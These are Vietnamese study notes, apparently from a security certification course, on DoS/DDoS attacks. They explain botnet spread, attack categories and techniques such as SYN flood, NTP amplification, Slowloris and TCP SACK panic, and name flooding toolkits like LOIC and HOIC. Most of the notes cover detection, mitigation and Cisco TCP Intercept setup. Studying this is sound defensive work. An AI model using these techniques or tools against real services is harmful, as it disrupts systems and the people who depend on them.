- Khi người dùng bị lừa tải xuống và cài đặt, kẻ tấn công giành toàn quyền kiểm soát thiết bị, biến nó thành công cụ để thực hiện tấn công DDoS và tiêm nhiễm web (web injections).
- **Tin tặc quảng cáo các liên kết để tải xuống Botnet (Hackers Advertise Links for Downloading Botnets)** [Trang 1479]: Tin tặc quảng cáo botnet trên các blog, công cụ tìm kiếm, trang mạng xã hội, email, v.v. bằng các liên kết tải xuống. Chúng cũng sử dụng các bản cập nhật và cảnh báo bảo mật giả mạo (như thông báo virus hoặc yêu cầu cập nhật phần mềm) để lừa nạn nhân tải xuống phần mềm độc hại. Mục đích là để lây lan nhanh chóng botnet và gia tăng quy mô của mạng lưới tấn công.

3. Nghiên cứu trường hợp DDoS (DDoS Case Study) [Trang 1481 - 1483]

Nghiên cứu trường hợp: HTTP/2 “Rapid Reset” Attack trên Google Cloud

- Vào tháng 9 năm 2023, nhóm phản hồi DDoS của Google đã ngăn chặn một cuộc tấn công tàn khốc đạt đỉnh 398 triệu yêu cầu mỗi giây (rps), lớn gấp 7.5 lần cuộc tấn công kỷ lục trước đó.

- Cơ chế tấn công: Kẻ tấn công sử dụng kỹ thuật mới "Rapid Reset", khai thác lỗ hổng (CVE-2023-44487) của tính năng stream multiplexing trong giao thức HTTP/2 (tính năng cho phép quản lý tới 100 luồng sống qua một kết nối TCP duy nhất). Kẻ tấn công liên tục gửi một loạt các yêu cầu luồng, sau đó ngay lập tức ra lệnh "reset" (hủy) chúng, gây gián đoạn nghiêm trọng cho các máy chủ mục tiêu.
- Khắc phục: Google phối hợp với các nhà cung cấp đám mây khác sử dụng thông tin tình báo đe dọa (threat intelligence) theo thời gian thực và năng lực biên (edge capacity) để chặn thành công.

4. Các loại tấn công từ chối dịch vụ (DoS/DDoS Attack Categories) [Trang 1485 - 1487]

4.1. Tấn công dung lượng (Volumetric attacks) [Trang 1485 - 1486]

- Làm cạn kiệt băng thông mạng. Độ lớn của cuộc tấn công được đo bằng bits-per-second (bps).
- Thường nhắm vào các giao thức không giữ trạng thái (stateless) và không có tính năng tránh tắc nghẽn như NTP, DNS và SSDP. Một máy đơn lẻ không thể tạo đủ yêu cầu nên kẻ tấn công phải huy động botnet.
- **Flood attack (tấn công tràn):** Đội quân zombie gửi lượng lớn traffic trực tiếp tới hệ thống nạn nhân để làm cạn kiệt băng thông.
- **Amplification attack (tấn công khuếch đại):** Kẻ tấn công lợi dụng việc gửi tin nhắn tới địa chỉ IP broadcast/reflector. Phương pháp này khuếch đại lưu lượng độc hại dội về, vắt kiệt băng thông hệ thống nạn nhân.
- *(Các kỹ thuật tiêu biểu)*: UDP flood, ICMP flood, Ping of Death, Smurf, Pulse wave, Zero-day, NTP amplification, **Malformed IP packet flood attack**, **Spoofed IP packet flood attack**.

4.2. Tấn công giao thức (Protocol attacks) [Trang 1486]

- Không nhằm làm cạn băng thông mà tập trung tấn công và làm cạn kiệt bảng trạng thái kết nối (connection state tables) có trên các thiết bị hạ tầng mạng như tường lửa, load balancers, và application servers.
- Khiến thiết bị không cho phép kết nối mới vì phải chờ các kết nối cũ đáo hạn (expire) hoặc đóng lại.
- Độ lớn được đo bằng packets-per-second (pps) hoặc connections per second (cps).
- *(Các kỹ thuật tiêu biểu)*: SYN flood, Fragmentation attack, Spoofed session flood, ACK flood, TCP state exhaustion attack, TCP SACK panic attack, **TCP connection flood attack**, **RST attack**.

4.3. Tấn công lớp ứng dụng (Application layer attacks) [Trang 1487]

- Khai thác lỗ hổng trong giao thức lớp ứng dụng hoặc bản thân ứng dụng. Phá hủy ứng dụng/dịch vụ bằng cách mở các kết nối và giữ chúng mở cho tới khi không thể kết nối thêm.
- Không yêu cầu băng thông lớn như tấn công volumetric. Rất khó phát hiện và ngăn chặn do lưu lượng trông có vẻ hợp lệ (sau khi TCP đã thiết lập).
- Độ lớn được đo bằng requests-per-second (rps).
- Phương thức: Gây tràn bộ đệm (buffer overflow) để ghi đè dữ liệu; làm tràn ứng dụng web bằng traffic có vẻ hợp pháp; khóa quyền truy cập người dùng bằng nhiều lần đăng nhập sai (invalid login attempts); làm tắc nghẽn cơ sở dữ liệu bằng các truy vấn SQL độc hại.
- *(Các kỹ thuật tiêu biểu)*: HTTP GET/POST attack, Slowloris (chỉ gửi yêu cầu HTTP một phần/nửa mở để giữ kết nối), UDP application layer flood, DDoS extortion attack (Tống tiền bằng DDoS).

- Trong một số trường hợp, thông qua tràn bộ đệm (buffer overflow), kẻ tấn công còn có thể thực thi mã tùy ý (arbitrary code) trên hệ thống từ xa. Việc gửi quá nhiều dữ liệu đến một ứng dụng sẽ ghi đè lên dữ liệu kiểm soát chương trình, cho phép hacker chạy mã của chính họ thay thế.
- Bởi vì kết nối được thiết lập hợp lệ và lưu lượng truy cập đi vào mục tiêu trông có vẻ bình thường, nên rất khó để phát hiện các cuộc tấn công này. Tuy nhiên, nếu người dùng nhận diện được nó, họ có thể ngăn chặn và truy tìm ngược về nguồn gốc (trace it back to its source) dễ dàng hơn nhiều so với các loại tấn công DDoS khác.

5. Các Kỹ thuật DoS/DDoS (DoS/DDoS Attack Techniques)

- **UDP flood (UDP flood attack)** [Trang 1489]: Kẻ tấn công gửi các gói UDP giả mạo (spoofed UDP packets) ở tốc độ rất cao tới các cổng ngẫu nhiên trên máy chủ mục tiêu bằng cách sử dụng một dải IP nguồn lớn. Máy chủ liên tục kiểm tra các ứng dụng không tồn tại ở các cổng đó và trả về thông báo lỗi ICMP "Destination Unreachable". Làm cạn kiệt tài nguyên và băng thông cho đến khi hệ thống ngoại tuyến.
- **ICMP flood (ICMP flood attack)** [Trang 1490 - 1491]: Kẻ tấn công gửi lượng lớn ICMP Echo requests trực tiếp hoặc qua các mạng phản xạ. Băng thông kết nối bị bão hòa khiến hệ thống không thể phản hồi các yêu cầu TCP/IP hợp lệ. *(Cách phòng chống)*: Đặt ngưỡng giới hạn, ví dụ mặc định 1000 packets/s.
  - Khi ngưỡng ICMP bị vượt quá (mặc định là 1000 gói/giây), bộ định tuyến sẽ từ chối các yêu cầu ICMP echo tiếp theo từ tất cả các địa chỉ trong cùng một vùng bảo mật (security zone) trong phần còn lại của giây hiện tại cũng như giây tiếp theo.
- **Ping of Death (PoD)** [Trang 1492]: Kẻ tấn công gửi gói tin malformed hoặc vượt kích thước hợp lệ (oversized packets) bằng lệnh ping đơn giản. Ví dụ: gửi gói 65.538 byte, vượt quá giới hạn 65.535 byte do chuẩn RFC 791 IP quy định. Quá trình lắp ráp lại (reassembly) tại máy đích sẽ gây sập hệ thống (crash).
  - Trong cuộc tấn công này, danh tính của kẻ tấn công có thể dễ dàng bị giả mạo và chúng có thể không cần kiến thức chi tiết về máy mục tiêu, ngoại trừ địa chỉ IP của máy đó.
- **Smurf attack** [Trang 1492]: Kẻ tấn công giả mạo địa chỉ IP nguồn thành IP của nạn nhân và gửi một lượng lớn gói ICMP ECHO request tới một mạng quảng bá (IP broadcast network). Mọi host trên mạng đó sẽ đồng loạt trả lời về máy nạn nhân, gây sập hệ thống.
- **Pulse-wave DDoS** [Trang 1493]: Gửi các xung gói tin theo chu kỳ (ví dụ: các đợt bùng nổ traffic cực lớn cách nhau mỗi 10 phút, mỗi xung có thể đạt 300 Gbps hoặc hơn). Mục đích là làm hệ thống kiệt quệ băng thông toàn bộ và khiến việc phục hồi vô cùng khó khăn.
  - Việc phục hồi từ các cuộc tấn công (Pulse-wave) như vậy là rất khó khăn và đôi khi là không thể.
- **Zero-day DDoS** [Trang 1493]: Khai thác các lỗ hổng DoS chưa có bản vá hoặc chưa có cơ chế phòng thủ hiệu quả. Kẻ tấn công chủ động chặn tài nguyên và đánh cắp dữ liệu trước khi nạn nhân kịp nhận ra và tung ra bản vá.
  - Hiện tại, không có phương pháp tiếp cận đa năng (versatile approach) nào để bảo vệ toàn diện mạng lưới khỏi loại hình tấn công Zero-day DDoS này.
- **NTP amplification (NTP amplification attack)** [Trang 1494 - 1495]: Kẻ tấn công dùng botnet gửi gói UDP với IP nguồn giả mạo (IP của nạn nhân) tới máy chủ NTP có bật lệnh `monlist`. Lệnh này kích hoạt phản hồi một danh sách lớn các máy khách (large response packets), làm ngập lụt mạng nạn nhân.
  - *Ví dụ lệnh kiểm tra*: `nmap -sU -pU:123 -Pn -n --script=ntp-monlist <target>`
  - *(Biện pháp phòng chống)* [Trang 1495]: Bảo mật và củng cố cấu hình máy chủ NTP để ngăn chặn việc khai thác lỗ hổng monlist. Giới hạn kiểm soát luồng (flow control) trong máy chủ NTP. Thường xuyên

giám sát mạng để phát hiện các hành vi bất thường. Triển khai kiến trúc mạng Zero-trust. Sử dụng tường lửa để lọc các yêu cầu tới máy chủ NTP.

- **SYN flood (SYN flood attack)** [Trang 1496 - 1498]: Lạm dụng cơ chế bắt tay 3 bước (three-way handshake) của TCP. Kẻ tấn công gửi lượng lớn SYN với IP nguồn giả. Máy chủ trả lời bằng SYN/ACK và chờ gói ACK cuối cùng (lưu trong "listen queue" ít nhất 75 giây). Hàng đợi đầy khiến máy chủ không thể nhận kết nối mới.
  - *(Bổ sung từ nguồn)* Có các biến thể khác như SYN-ACK Flood và ACK / PUSH ACK Flood.
    - ACK and PUSH ACK Flood Attack: Trong một phiên TCP đang hoạt động, cờ ACK và PUSH ACK được sử dụng để truyền thông tin qua lại giữa máy chủ và máy khách cho đến khi phiên kết thúc. Kẻ tấn công gửi một lượng lớn các gói ACK và PUSH ACK giả mạo đến máy mục tiêu, khiến nó trở nên không thể hoạt động (non-functional).
  - *(Biện pháp phòng chống SYN Flood)* [Trang 1498]: Lọc gói tin (Packet filtering), cấu hình tính năng **SYN cookies** và **SynAttackProtect**. Quản trị viên cũng có thể tinh chỉnh TCP/IP stack: giảm thời gian chờ (time-out) của kết nối đang ở trạng thái "SYN RECEIVED", giảm số lần truyền lại (retransmissions) gói ACK đầu tiên hoặc tắt hoàn toàn tính năng truyền lại.
- **Fragmentation attack (Tấn công phân mảnh)** [Trang 1499]: Gửi lượng lớn gói tin bị phân mảnh (ví dụ gói ~1500 byte) với nội dung ngẫu nhiên khiến nạn nhân cạn kiệt tài nguyên khi cố ghép lại. Vì giao thức cho phép phân mảnh, kỹ thuật này thường dễ dàng qua mặt thiết bị mạng, firewall, và IDS/IPS.
  - Do giao thức IP vốn cho phép phân mảnh, các gói tin này thường đi qua các thiết bị mạng như bộ định tuyến, tường lửa và IDS/IPS mà không bị kiểm tra. Việc lắp ráp và kiểm tra lại tiêu tốn quá nhiều tài nguyên, đặc biệt khi nội dung gói tin bị kẻ tấn công xáo trộn một cách ngẫu nhiên.
- **Spoofed session flood** [Trang 1500]: Giả mạo phiên TCP bằng cách mang theo nhiều gói SYN, ACK, và RST hoặc FIN để qua mặt tường lửa. Bao gồm:
  - **Multiple SYN-ACK Spoofed:** Gửi nhiều SYN và ACK kèm RST/FIN.
  - **Multiple ACK Spoofed:** Bỏ qua hoàn toàn SYN, chỉ gửi ACK và RST/FIN (tỷ lệ bị firewall phát hiện rất thấp).
- **HTTP GET/POST timed header (HTTP Flood)** [Trang 1501 - 1502]: Tấn công Lớp 7. Dùng header trì hoãn (time-delayed HTTP header) để duy trì kết nối HTTP (GET) hoặc gửi nội dung thông điệp không hoàn chỉnh (POST) khiến máy chủ web phải chờ đợi, làm cạn tài nguyên.
  - *(Bổ sung từ nguồn)* Các biến thể: Single-Session HTTP Flood, Single-Request HTTP Flood, Recursive HTTP GET Flood (thu thập danh sách trang web và lặp lại thao tác tải ngầm), Random Recursive GET Flood.
- **Slowloris** [Trang 1501 - 1503]: Kẻ tấn công gửi các yêu cầu HTTP một phần (không hoàn chỉnh) để giữ cho nhiều kết nối ở trạng thái nửa mở (half-open). Máy chủ chờ đợi đến khi cạn kiệt nhóm kết nối đồng thời (concurrent connection pool).
  - Công cụ này hoàn toàn khác biệt so với các công cụ DDoS khác ở chỗ nó sử dụng lưu lượng HTTP hoàn toàn hợp lệ (perfectly legitimate HTTP traffic) để đánh sập máy chủ mục tiêu.
- **UDP application layer flood attack** [Trang 1503]: Lợi dụng các giao thức lớp ứng dụng chạy trên nền UDP như CHARGEN, SNMPv2, QOTD, RPC, SSDP, CLDAP, TFTP, NetBIOS, Quake/Steam protocol, VoIP.
- **Multi-vector DDoS** [Trang 1504]: Kết hợp đồng thời hoặc tuần tự các phương pháp tấn công Volumetric (Dung lượng) + Protocol (Giao thức) + Application layer (Lớp ứng dụng) để làm rối loạn bộ phận IT, phân tán sự tập trung khỏi giải pháp phòng thủ chính.

- **Peer-to-peer DDoS** [Trang 1505 - 1506]: Không sử dụng botnet. Kẻ tấn công khai thác lỗi trên giao thức DC++ (Direct Connect), ra lệnh cho hàng ngàn máy khách đang chia sẻ file P2P ngắt kết nối mạng P2P và đồng loạt kết nối tới website của nạn nhân.
  - *(Biện pháp phòng chống)*: Tấn công Peer-to-peer DDoS có thể được giảm thiểu bằng cách chỉ định các cổng cụ thể cho giao tiếp peer-to-peer. Ví dụ, việc chỉ định cổng 80 để không cho phép giao tiếp peer-to-peer sẽ giảm thiểu khả năng xảy ra các cuộc tấn công vào trang web.
- **Permanent Denial-of-Service (PDoS / Phlashing)** [Trang 1507]: Gây hỏng phần cứng vĩnh viễn (gọi là "bricking a system"). Kẻ tấn công gửi bản cập nhật firmware giả mạo, chứa lỗi (qua email, mạng xã hội, video). Khi nạn nhân cài đặt, thiết bị mạng (router, máy in) bị phá hủy hoặc bị chiếm quyền điều khiển từ xa hoàn toàn.
  - Loại tấn công PDoS này nhanh hơn và mang tính phá hoại cao hơn so với tấn công DoS thông thường. Nó hoạt động với một lượng tài nguyên hạn chế, không giống như DDoS cần phải giải phóng một "đội quân zombie" lớn lên mục tiêu.
- **TCP SACK panic** [Trang 1508]: Khai thác lỗ hổng tràn số nguyên (integer overflow) trên bộ đệm socket (SKB) của Linux. Kẻ tấn công gửi chuỗi gói SACK với giá trị MSS (Maximum segment size) cực thấp (48 bytes), khiến số lượng phân đoạn cần truyền lại vượt quá giới hạn 17 phân đoạn của bộ đệm, dẫn tới lỗi kernel panic và sập hệ thống.
  - Vì lỗ hổng nằm ở ngăn xếp hạt nhân (kernel stack), kẻ tấn công cũng có thể thực hiện cuộc tấn công này nhắm vào các bộ chứa (containers) và máy ảo (virtual machines).
  - *(Biện pháp phòng chống)*: Triển khai vá lỗ hổng (vulnerability patching). Thiết lập quy tắc tường lửa (firewall rule) để chặn các gói tin yêu cầu có giá trị MSS thấp nhất.
- **Distributed Reflection DDoS (DRDoS / Spoofed attack)** [Trang 1509 - 1510]: Tấn công giả mạo nguồn thông qua hàng loạt máy trung gian (zombies) và máy phản xạ (reflectors). Gửi TCP SYN (với IP nguồn là máy nạn nhân) tới reflector, reflector tin rằng nạn nhân yêu cầu kết nối nên đồng loạt dội ngược gói SYN/ACK về phía nạn nhân với băng thông khổng lồ.
  - Đây là một cuộc tấn công thông minh vì rất khó hoặc thậm chí không thể truy tìm kẻ tấn công. DRDoS hiệu quả hơn một cuộc tấn công DDoS điển hình vì nhiều nạn nhân trung gian (intermediary) và phản xạ (secondary victims) cùng tạo ra băng thông tấn công khổng lồ dội về đích.
  - *(Biện pháp phòng chống)*: Tắt dịch vụ Character Generator Protocol (CHARGEN) để ngăn chặn phương thức tấn công này. Liên tục tải xuống các bản cập nhật và bản vá mới nhất cho máy chủ.
- **Ransom DDoS (RDDoS)** [Trang 1510 - 1511]: Tấn công tống tiền. Kẻ tấn công gửi thư đe dọa (có thể kèm theo một đợt DDoS mẫu bằng botnet) yêu cầu trả tiền chuộc bằng tiền ảo để không bị đánh sập hệ thống.
  - *(Biện pháp phòng chống)*: Triển khai các công cụ phòng thủ DDoS hiệu quả. Báo cáo ngay cho các cơ quan thực thi pháp luật và đội ngũ bảo mật sau khi nhận được thư tống tiền. Thường xuyên đánh giá mức độ chấp nhận rủi ro của tài sản (risk tolerance). Triển khai các chiến lược giảm nhẹ như BGP/DNS swing và dịch vụ bảo vệ luôn bật (always-on protection service).

6. Bộ công cụ tấn công (Attack Toolkits) [Trang 1512 - 1514]

- **ISB (I'm So Bored):** Tiện ích phần mềm hỗ trợ tạo flood HTTP, UDP, TCP và ICMP. Cung cấp quyền truy cập một cú nhấp chuột vào các lệnh mạng (WHOIS, netstat, traceroute, ping) giúp kẻ tấn công dễ dàng khám phá mục tiêu.
- **UltraDDOS-v2:** Cung cấp giao diện đồ họa (GUI) đơn giản để kẻ tấn công nhập IP đích, số cổng và số lượng gói tin muốn truyền đi.

- *(Bổ sung từ nguồn)* **HOIC (High Orbit Ion Cannon):** Tấn công DDoS phânát tán thông qua việc tuyển mộ "tình nguyện viên" tải công cụ qua link ẩn.
- *(Bổ sung từ nguồn)* **LOIC (Low Orbit Ion Cannon)**, **Packet Flooder Tool**.
- **HULK (HTTP Unbearable Load King)**.
- **Slowloris** & **UFO-Net**.

7. Biện pháp giảm nhẹ / Phát hiện (Detection & Countermeasures) [Trang 1516 - 1518, 1521, 1525, 1527]

7.1. Các chiến lược đối phó DoS/DDoS (DoS/DDoS Countermeasure Strategies) [Trang 1518]

- Hấp thụ cuộc tấn công (Absorbing the Attack): Sử dụng dung lượng hệ thống bổ sung để hấp thụ cuộc tấn công. Chiến lược này yêu cầu lập kế hoạch trước và tài nguyên bổ sung. Nhược điểm lớn là chi phí cho các tài nguyên tăng thêm sẽ bị lãng phí ngay cả khi không có cuộc tấn công nào đang diễn ra.
- Làm suy giảm dịch vụ (Degrading Services): Nếu không thể duy trì mọi dịch vụ trong cuộc tấn công, cần xác định các dịch vụ cực kỳ quan trọng (critical services). Sau đó, thiết kế mạng và ứng dụng được tùy chỉnh để cắt giảm hoặc tắt các dịch vụ không quan trọng, tập trung tài nguyên duy trì chức năng cốt lõi.
- Tắt toàn bộ dịch vụ (Shutting Down Services): Tắt tất cả các dịch vụ cho đến khi cuộc tấn công lắng xuống hoàn toàn. Dù không phải là lựa chọn lý tưởng, đây có thể là phản ứng hợp lý và an toàn nhất trong một số trường hợp.

7.2. Các kỹ thuật phát hiện (Detection Techniques) [Trang 1516 - 1517]

- **Activity profiling (Lập hồ sơ hoạt động):** Dựa trên tốc độ gói tin trung bình. Nếu có sự gia tăng mức độ hoạt động giữa các cụm luồng mạng (network flow clusters) hoặc tăng số lượng cụm riêng biệt, đó là dấu hiệu tấn công. Sử dụng phương pháp tính toán Entropy để đo lường tính ngẫu nhiên.
- **Sequential change-point detection (Phát hiện điểm thay đổi tuần tự):** Lọc lưu lượng theo IP, cổng và giao thức, vẽ biểu đồ lưu lượng theo thời gian. Sử dụng thuật toán CUSUM (Cumulative Sum) để xác định độ lệch so với trung bình, giúp phát hiện các cuộc tấn công và hoạt động quét của worm.
- **Wavelet-based signal analysis (Phân tích tín hiệu dựa trên Wavelet):** Phân tích lưu lượng mạng dưới dạng các thành phần phổ/tần số (spectral components). Lọc tín hiệu đầu vào khỏi tiếng ồn xung quanh. Lưu lượng bình thường có tần số thấp, khi bị tấn công, các thành phần tần số cao sẽ tăng đột biến.

7.3. Các chiến lược giảm nhẹ & phòng thủ (Mitigation Strategies) [Trang 1518, 1521, 1525]

- **Absorbing the Attack (Hấp thụ cuộc tấn công):** Chuẩn bị trước dung lượng bổ sung dồi dào để hứng chịu lưu lượng tấn công.
- **Degrading Services (Giảm cấp dịch vụ):** Xác định và tắt các dịch vụ không thiết yếu, chỉ duy trì các chức năng quan trọng nhất để hệ thống sống sót.
- **Shutting Down the Services:** Đóng băng mọi dịch vụ cho đến khi cuộc tấn công lắng xuống.
- **Load Balancing (Cân bằng tải):** Tăng băng thông và sao chép (replicate) máy chủ trong kiến trúc đa máy chủ để tạo tính năng bảo vệ dự phòng (failsafe protection).
- **Throttling (Điều tiết):** Thiết lập logic bộ định tuyến (ví dụ: min-max fair server-centric router) để giới hạn lưu lượng đến ở mức an toàn.

- **Drop Requests (Hủy yêu cầu):** Yêu cầu máy khách giải quyết các "câu đố khó" (puzzle) tốn bộ nhớ/CPU trước khi tiếp tục (CAPTCHA/Client puzzle), giúp chặn đứng mạng lưới zombie.
- *(Bổ sung)* **Egress / Ingress Filtering:** Lọc gói tin IP đi ra và đi vào mạng để ngăn chặn các gói tin có địa chỉ nguồn giả mạo (spoofed addresses).
  - *(Chi tiết lợi ích Egress Filtering)*: Ngay cả khi một máy chủ web dính lỗ hổng zero-day, việc bật lọc Egress có thể cứu vãn tính toàn vẹn của hệ thống bằng cách ngăn chặn máy chủ thiết lập kết nối ngược lại (connection back) với kẻ tấn công, từ đó làm hạn chế hiệu quả của nhiều payload và ngăn kẻ tấn công truy cập sâu hơn vào mạng.
  - *(Chi tiết lợi ích Ingress Filtering)*: Có thể gián tiếp chống lại nhiều loại hình lạm dụng mạng bằng cách làm cho lưu lượng Internet có thể truy xuất được về nguồn gốc thực sự. Nó bảo vệ chống lại các cuộc tấn công tràn ngập (flooding attacks) xuất phát từ các tiền tố hợp lệ (địa chỉ IP) và cho phép theo dấu người khởi tạo thực sự.
- *(Bổ sung)* **TCP Intercept & Rate Limiting:** Dùng router chặn và xác thực kết nối TCP SYN để chống SYN flood; kiểm soát tỷ lệ traffic inbound/outbound.

7.4. Ngăn chặn các cuộc tấn công tiềm ẩn (Prevent Potential Attacks) [Trang 1521 - 1522]

- Egress Filtering (Lọc dữ liệu đi ra): Quét các tiêu đề (headers) của gói IP rời khỏi mạng. Đảm bảo rằng lưu lượng độc hại hoặc chưa được xác thực không bao giờ rời khỏi mạng nội bộ. Ví dụ, nếu máy chủ bị khai thác lỗ hổng zero-day, việc bật Egress Filtering sẽ ngăn máy chủ đó thiết lập kết nối ngược lại (connection back) với kẻ tấn công.
- Ingress Filtering (Lọc dữ liệu đi vào): Kỹ thuật lọc gói tin được nhiều ISP sử dụng để ngăn chặn việc giả mạo địa chỉ nguồn của lưu lượng Internet. Nó bảo vệ chống lại các cuộc tấn công tràn ngập bắt nguồn từ các tiền tố IP hợp lệ và cho phép truy tìm nguồn gốc thực sự (true source) của kẻ tấn công.

7.5. Giảm nhẹ tấn công (Mitigate Attacks) [Trang 1525 - 1526]

- Cân bằng tải (Load Balancing): Tăng băng thông trên các kết nối quan trọng để hấp thụ lưu lượng độc hại. Sử dụng mô hình máy chủ sao chép (replicated server model) trong kiến trúc nhiều máy chủ giúp cân bằng tải tốt hơn, vừa tăng hiệu suất mạng thông thường vừa giảm thiểu thiệt hại từ DDoS.
- Điều tiết (Throttling): Thiết lập bộ định tuyến với logic "min-max fair server-centric" để điều tiết mức lưu lượng truy cập đi vào ở mức an toàn cho máy chủ. Nó giúp lọc lưu lượng người dùng hợp lệ khỏi lưu lượng giả mạo. Nhược điểm: Đôi khi kích hoạt báo động giả (false alarms) và loại bỏ nhầm lưu lượng hợp lệ.
- Loại bỏ yêu cầu (Drop Requests): Khi tải tăng lên, hệ thống sẽ yêu cầu người gửi phải giải một "câu đố khó" (difficult puzzle) đòi hỏi sức mạnh tính toán hoặc bộ nhớ (ví dụ như CAPTCHA ngầm) trước khi tiếp tục. Khi gặp yêu cầu này, máy móc của mạng zombie sẽ bị suy giảm hiệu suất và thường từ bỏ việc truyền tải tấn công DDoS.

7.6. Kỹ thuật phòng thủ chống lại Botnet (Techniques to Defend against Botnets) [Trang 1529 - 1530]

- **Lọc theo RFC 3704 (RFC 3704 Filtering):** Bộ lọc ACL cơ bản giúp chặn lưu lượng từ các địa chỉ IP giả mạo. Cụ thể, nó chặn các gói tin đến từ các không gian địa chỉ không hợp lệ, chưa sử dụng hoặc được bảo lưu (gọi là "bogon list").
- **Lọc uy tín IP nguồn trên Cisco IPS (Cisco IPS Source IP Reputation Filtering):** Cisco IPS liên tục cập nhật cơ sở dữ liệu (Cisco SensorBase Network) chứa thông tin tình báo về các botnet, phần mềm độc hại để tự động lọc lưu lượng DoS.

- **Lọc hố đen (Black Hole Filtering / RTBH):** Định tuyến lưu lượng truy cập không mong muốn vào một "hố đen" (null0) tại cấp độ định tuyến thông qua giao thức BGP để loại bỏ chúng trước khi tiến vào mạng nội bộ.
- **Dịch vụ phòng chống DDoS từ ISP:** ISP sử dụng tính năng "IP Source Guard" kết hợp cơ sở dữ liệu ràng buộc "DHCP snooping binding" để chặn botnet gửi các gói tin có IP giả mạo.

Các biện pháp bảo vệ và phát hiện chi tiết [Trang 1519 - 1522]:

- **Bảo vệ nạn nhân phụ (Protect Secondary Victims):**
  - **Người dùng cá nhân (Individual Users):** Cần thường xuyên theo dõi bảo mật, cài đặt và cập nhật phần mềm diệt virus/anti-Trojan, tắt các dịch vụ không cần thiết, gỡ cài đặt các ứng dụng không dùng đến và quét tất cả các tệp nhận được từ bên ngoài để tránh hệ thống bị lợi dụng làm phần mềm DDoS agent.
  - **Nhà cung cấp dịch vụ mạng (Network Service Providers):** Có thể áp dụng định giá động (dynamic pricing) cho việc sử dụng mạng để tính phí những nạn nhân phụ tiềm năng khi truy cập Internet, qua đó khuyến khích họ chủ động hơn trong việc tự bảo vệ mình khỏi việc trở thành một phần của cuộc tấn công DDoS.
- **Phát hiện và vô hiệu hóa trình xử lý (Detect and Neutralize Handlers):** Phân tích giao thức truyền thông và mẫu lưu lượng (traffic patterns) giữa handlers và clients hoặc handlers và agents để phát hiện ra các nút mạng bị nhiễm. Do số lượng handlers (máy điều khiển) thường ít hơn rất nhiều so với agents, việc vô hiệu hóa một vài handlers có thể vô hiệu hóa hàng loạt agents.
- **Xác định địa chỉ nguồn giả mạo (Spoofed Source Address):** Có xác suất cao là địa chỉ nguồn bị giả mạo của các gói tin tấn công DDoS sẽ không đại diện cho một địa chỉ hợp lệ của một mạng con (sub-network) nhất định. Việc xác định các địa chỉ nguồn giả mạo này cùng với sự hiểu biết về giao thức truyền thông sẽ giúp ngăn chặn tấn công hiệu quả.
- **Cơ chế chi tiết của TCP Intercept:** TCP Intercept hoạt động ở 2 chế độ: Chế độ chặn chủ động (Active intercept mode) - router trực tiếp đánh chặn gói SYN, tự thực hiện bắt tay 3 bước với client thay cho server, sau khi thành công mới kết nối với server; và Chế độ theo dõi thụ động (Passive watch mode) - router chỉ quan sát kết nối đi qua, nếu kết nối không được thành lập trong vòng 30 giây, nó sẽ tự động gửi lệnh reset tới server để xóa trạng thái.
- **Chi tiết Rate Limiting (Giới hạn tốc độ):** Kiểm soát tỷ lệ lưu lượng đi ra hoặc đi vào của thiết bị mạng. Kỹ thuật này thường được cấu hình trên phần cứng thiết bị mạng để giới hạn tỷ lệ yêu cầu ở Lớp 4 và Lớp 5 của mô hình OSI.

7.7. Các biện pháp phòng ngừa DoS/DDoS bổ sung [Trang 1530 - 1531]

- Sử dụng mã hóa mạnh (WPA2/WPA3, AES 256).
- Đảm bảo rằng phần mềm và các giao thức luôn được cập nhật, đồng thời quét các máy móc một cách kỹ lưỡng để phát hiện bất kỳ hành vi bất thường nào.
- Kích hoạt tính năng bảo vệ TCP SYN cookie (Enable TCP SYN cookie protection).
- Cập nhật kernel lên phiên bản mới nhất và tắt các dịch vụ không an toàn/không sử dụng (như echo, chargen).
- Chặn mọi gói tin gửi đến (inbound) xuất phát từ các cổng dịch vụ để chống tấn công phản xạ (reflection servers).
- Ngăn chặn truyền gói tin có địa chỉ giả mạo ngay tại cấp độ ISP.

9. Bảo vệ DoS/DDoS ở cấp độ ISP và thiết bị chuyên dụng

9.1. Bảo vệ DoS/DDoS ở cấp độ ISP và Cấu hình Cisco IOS [Trang 1532 - 1534]

- **Bảo vệ tại ISP:** Các ISP có thể cung cấp dịch vụ "đường ống sạch" (clean pipes) để chỉ cho phép lưu lượng hợp pháp đi qua, chặn đứng các yêu cầu độc hại ngay trên đám mây. Quản trị viên có thể yêu cầu ISP chặn IP bị ảnh hưởng và chuyển hướng trang web sang một IP khác.
- **Kích hoạt tính năng TCP Intercept trên Cisco IOS:** Giúp bảo vệ máy chủ TCP khỏi tấn công SYN-flood. Bộ định tuyến sẽ tự động đánh chặn mọi gói SYN và thay mặt máy chủ thực hiện bắt tay 3 bước với client. Chỉ khi client hoàn tất bắt tay, bộ định tuyến mới kết nối nó với máy chủ.
  - **Bước 1 (Định nghĩa ACL):** `access-list access-list-number {deny | permit} tcp any destination destination-wildcard`
    - **Danh sách kiểm soát truy cập (Access list) này đạt được ba mục đích:**
      1. Đánh chặn tất cả các yêu cầu (Interception of all requests).
      2. Đánh chặn chỉ những yêu cầu xuất phát từ các mạng cụ thể.
      3. Đánh chặn chỉ những yêu cầu hướng tới các máy chủ cụ thể.
  - **Bước 2 (Bật TCP Intercept):** `ip tcp intercept list access-list-number`
  - **Bước 3 (Chọn chế độ):** `ip tcp intercept mode {intercept | watch}` (Mặc định là intercept. Chế độ watch chỉ theo dõi, nếu kết nối không thành lập trong 30 giây sẽ gửi lệnh reset).

9.2. Các thiết bị và Dịch vụ phòng chống DDoS chuyên dụng [Trang 1534 - 1541]

Thiết bị phần cứng (Advanced Protection Appliances):

- **FortiDDoS** (Ví dụ: dòng 1500F/2000E): Sử dụng kiến trúc máy học song song cực lớn để kiểm tra gói tin Lớp 3, 4, 7 và giảm thiểu rủi ro với độ trễ thấp nhất.
- **Check Point Quantum DDoS Protector:** Bảo vệ đa lớp, phát hiện theo hành vi, tạo chữ ký tự động và phản hồi trong vài giây.
- **Huawei AntiDDoS1000:** Sử dụng công nghệ phân tích dữ liệu lớn (Big Data) để lập mô hình bảo vệ theo thời gian thực.
- **A10 Thunder TPS:** Hệ thống bảo vệ mối đe dọa với khả năng mở rộng cao, phát hiện và chặn các cuộc tấn công trước khi chúng gây ra sự cố mạng.

Dịch vụ Bảo vệ Đám mây (Cloud Protection Services):

- **Cloudflare:** Sử dụng mạng lưới 100 Tbps để chặn 87 tỷ mối đe dọa mỗi ngày, phản hồi cực nhanh dưới 3 giây bằng kỹ thuật bảo vệ qua BGP và Lớp 7.
